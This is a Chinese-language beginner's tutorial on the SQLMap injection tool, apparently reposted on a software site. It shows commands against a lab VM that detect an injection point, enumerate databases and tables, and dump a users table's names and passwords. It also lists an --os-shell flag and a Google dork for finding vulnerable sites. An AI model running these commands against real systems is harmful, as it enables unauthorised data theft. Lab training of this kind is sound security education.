超详细SQLMap图文详解教程:从简介到简单应用实例
1 SQLMap简介 SQLMap,简单来说,就是一款自动化SQL注入工具,专门用来扫描、发现并利用给定URL的SQL注入漏洞。它内置了数量可观的绕过插件,而且支持的数据库范围相当广泛——MySQL、Oracle、PostgreSQL、Microsoft SQL Server、Microsoft A
1 SQLMap简介
SQLMap,简单来说,就是一款自动化SQL注入工具,专门用来扫描、发现并利用给定URL的SQL注入漏洞。它内置了数量可观的绕过插件,而且支持的数据库范围相当广泛——MySQL、Oracle、PostgreSQL、Microsoft SQL Server、Microsoft Access、IBM DB2、SQLite、Firebird、Sybase、SAP MaxDB,基本覆盖了市面上主流的数据库类型。
需要先拎清楚一点:sqlmap只负责检测和利用SQL注入点,它本身不会帮你扫描网站存在哪些漏洞。所以正确流程是先用扫描工具找出潜在注入点,再交给sqlmap来干活。
SQLMap支持5种不同的SQL注入技术,各有各的适用场景:
- 布尔盲注:根据返回页面判断条件真假的注入。简单说,就是看页面是正常显示还是异常显示,来推断条件是否成立。
- 时间盲注:页面死活不给你任何显式信息,只能通过时间延迟语句是否被执行(页面返回时间是否明显增加)来推断结果。
- 报错注入:页面会直接返回错误信息,甚至把注入语句的结果直接显示在页面上。
- 联合查询注入:在可以使用Union的情况下进行的注入。
- 堆查询注入:可以同时执行多条语句时的注入。
SQLMap的能力远不止于注入检测——它还能做数据库指纹识别、数据库枚举、数据提取,甚至访问目标文件系统,如果权限足够,还能执行任意命令。很多情况下,当常规注入工具无能为力时,SQLMap往往能带来惊喜。
2 SQLMap安装
安装方式有很多,网上随便搜一下就有教程。不过本教程直接使用Kali Linux自带的SQLMap工具,省去了配置Python等基础环境的麻烦,上手非常快。至于如何在虚拟机中安装Kali Linux系统,可以参考《【Linux系统】第2节 虚拟机中安装Kali系统》。
3 sqlmap的简单使用
3.1 常用命令及参数
先看看sqlmap的命令帮助手册:
-u "url" # 检测注入点 --dbs # 列出所有数据库的名称 --current-db # 列出当前数据库的名称 -D # 指定一个数据库 --tables # 列出所有表名 -T # 指定表名 --columns # 列出所有字段名 -C # 指定字段 --dump # 列出字段内容
Post注入相关:
-r xxx.txt # xxx.txt为http数据包 --cookie # 指定cookie --os-shell # 获取shell sqlmap -g "inurl:php?id=" # 利用google自动搜索注入点
3.2 具体操作实例
3.2.1 操作前准备
实验靶场——虚拟机(IP为172.16.1.1):
本节实验靶场是在win2008系统上基于phpstudy搭建的一个简单网站。win2008及phpstudy的安装过程可以参考《【语言环境】WAMP环境部署及优化—以win2008R2SP1为操作系统》,网站的搭建过程可以参考《【(SQL+HTML+PHP)综合】一个简单论坛网站的综合开发案例》。
注入工具——kali虚拟机,自带sqlmap工具。
注意:win2008和kali需要桥接到同一VMnet下,两者能互相ping通。

3.2.2 具体实例
3.2.2.1 实例1:查看帮助手册
sqlmap -h

3.2.2.2 实例2:检测注入点及注入类型
sqlmap -u "http://172.16.1.1/PHP/jrltbbs/showmessage.php?id=5"


当SQLMap执行该命令时,它会依次完成以下步骤:
- 判断可注入的参数;
- 判断可以用哪种SQL注入技术来注入;
- 识别出哪种数据库;
- 根据用户选择,读取哪些数据。
3.2.2.3 实例3:列出所有数据库的名字
sqlmap -u "http://172.16.1.1/PHP/jrltbbs/showmessage.php?id=5" --dbs


3.2.2.4 实例4:列出当前数据库的名字
sqlmap -u "http://172.16.1.1/PHP/jrltbbs/showmessage.php?id=5" --current-db


3.2.2.5 实例5:列出某数据库的所有表名
sqlmap -u "http://172.16.1.1/PHP/jrltbbs/showmessage.php?id=5" -D 'jrlt' --tables


3.2.2.6 实例6:列出某表中的所有字段名
sqlmap -u "http://172.16.1.1/PHP/jrltbbs/showmessage.php?id=5" -D 'jrlt' -T 'users' --columns


3.2.2.7 实例7:列出某字段中的所有字段内容
sqlmap -u "http://172.16.1.1/PHP/jrltbbs/showmessage.php?id=5" -D 'jrlt' -T 'users' -C 'name,password' --dump


3.2.2.8 实例8:post注入
首先用BurpSuite抓取一个POST请求的HTTP数据包,将其保存为post.txt文件(放在当前目录下)。然后运行命令:sqlmap -r post.txt,它会自动读取数据包进行POST注入测试。
本专栏主要以入门知识为主,带领零基础的朋友了解一些工具的简单操作,重点分享SQLMap的基本使用方法——判断目标网站是否存在注入,查询获取数据库的库名、表名、字段名及字段内容等信息。其他更详细的用法,比如-level、-referer、roles等参数,可以参考SQLMap的帮助手册自行探索。
4 参考文章及优秀资源推荐
- 《sqlmap 详解》
- 《sqlmap 官网》
- 《sqlmap文档地址》
游乐网为非赢利性网站,所展示的游戏/软件/文章内容均来自于互联网或第三方用户上传分享,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系youleyoucom@outlook.com。
同类文章
DDoS攻击的三大主要形式:原理、特征与防御重点
DDoS攻击主要分为基于流量(Volume)、基于应用层(Application)和基于协议(Protocol)三种形式。流量型攻击通过海量数据淹没带宽;应用层攻击利用Web漏洞耗尽服务器资源;协议层攻击则利用TCP握手缺陷导致系统挂起。了解这些原理是制定针对性防御策略的基础。
如何有效预防和缓解DDoS攻击:5大核心策略详解
面对DDoS攻击,单纯增加带宽已非长久之计。本文详解5大核心防护策略:优化网络硬件配置、建立DNS冗余机制、部署透明缓解技术、引入负载平衡器及专用Anti-DDoS模块。通过合理组合这些技术手段,可有效抵御SYN泛洪、Slowloris等常见攻击,保障业务连续性与网站可用性。
DDoS防护四大误区:CDN、防火墙与黑名单的局限性解析
许多企业误以为CDN、防火墙或黑名单能完全抵御DDoS攻击。本文深入解析四大常见误区:CDN仅提供部分缓解、静态黑名单易失效、防火墙算力有限且可能成为目标、阈值警报仅具滞后性。了解这些局限性,有助于构建更立体的防御体系,避免在攻击发生时措手不及。
常见DDoS攻击类型详解:原理、特征与防御策略
本文详细解析四种常见DDoS攻击类型:SYN Flood利用TCP三次握手缺陷耗尽资源;UDP Flood通过海量数据包造成带宽拥塞;ICMP Flood利用Ping请求消耗系统算力;应用层Flood针对Web脚本进行高频请求。了解其原理是制定有效防御策略的基础。
如何有效抵御DDOS攻击:4种核心防护方案解析
面对DDOS攻击,企业需构建多层防护体系。本文详解四大核心策略:利用反向路由器查询进行流量清洗,通过GCDN智能分配节点隐藏源站IP,部署负载均衡硬件分担压力,以及接入高防机房抵御数百G恶意流量。掌握这些技术,可最大程度保障业务连续性。
- 热门数据榜
相关攻略
2026-08-31 11:56
2026-08-31 11:56
2026-08-31 11:55
2026-08-31 11:55
2026-08-31 11:54
2026-08-31 11:53
2026-08-31 11:53
2026-08-31 11:53
热门教程
- 游戏攻略
- 安卓教程
- 苹果教程
- 电脑教程

